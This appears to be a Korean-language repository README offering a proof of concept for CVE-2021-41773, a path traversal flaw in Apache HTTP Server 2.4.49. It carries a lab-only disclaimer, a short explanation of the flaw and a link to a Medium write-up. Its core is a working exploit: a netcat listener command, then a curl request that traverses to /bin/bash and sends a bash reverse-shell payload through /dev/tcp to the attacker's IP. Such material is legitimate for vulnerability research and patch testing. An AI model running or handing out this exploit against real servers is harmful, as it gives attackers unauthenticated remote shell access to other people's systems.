
CVE-2021-41773에 대한 교육용 PoC로, Apache HTTP Server 2.4.49에서 리버스 셸 페이로드를 이용한 경로 탐색을 통해 원격 코드 실행을 시연합니다.
⚠️ 면책 조항
이 저장소는 오직 교육 및 연구 목적으로만 사용됩니다.
여기에 제공된 정보와 코드는 제어된 환경(예: 개인 실습 머신)에서만 사용할 수 있습니다.
소유한 시스템이나 명시적 허가 없이 테스트하는 시스템에 이 코드를 무단으로 사용하는 것은 불법이며 비윤리적입니다.
저자는 오용이나 발생한 손해에 대해 책임지지 않습니다.
CVE-2021-41773은 Apache HTTP 서버 버전 2.4.49에 영향을 미칩니다.
경로 정규화 시 입력 검증이 부적절하여 공격자는 %2e와 같은 인코딩된 문자를 사용하여 경로 탐색을 악용해 임의의 파일에 접근할 수 있습니다.
CGI가 활성화되어 있으면 이 취약점을 **인증되지 않은 원격 코드 실행(RCE)**으로 확대할 수 있습니다.
악의적인 curl 요청을 구성하여 경로 탐색 결함을 악용합니다. CGI가 활성화되면 공격자는 /bin/bash에 도달하여 임의의 셸 명령을 실행할 수 있습니다.
이 예제에서는 리버스 셸 페이로드를 전송하여 서버에서 셸 접근 권한을 획득합니다.
이 익스플로잇은 개인 실습 환경에서 테스트되었습니다. 아래는 단계와 결과입니다.
Nmap 스캔을 통해 대상이 Apache/2.4.49를 실행 중임을 확인했습니다.

조작된 curl 명령어를 사용하여 리버스 셸 페이로드를 전달했습니다.

공격자의 리스너에서 리버스 셸을 성공적으로 획득했습니다.

1단계: Netcat 리스너 시작
nc -nvlp 4444
2단계: 익스플로잇 실행
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'
제 Medium 게시글에서 상세한 워크스루와 이론을 확인하세요:
👉 Medium 블로그 읽기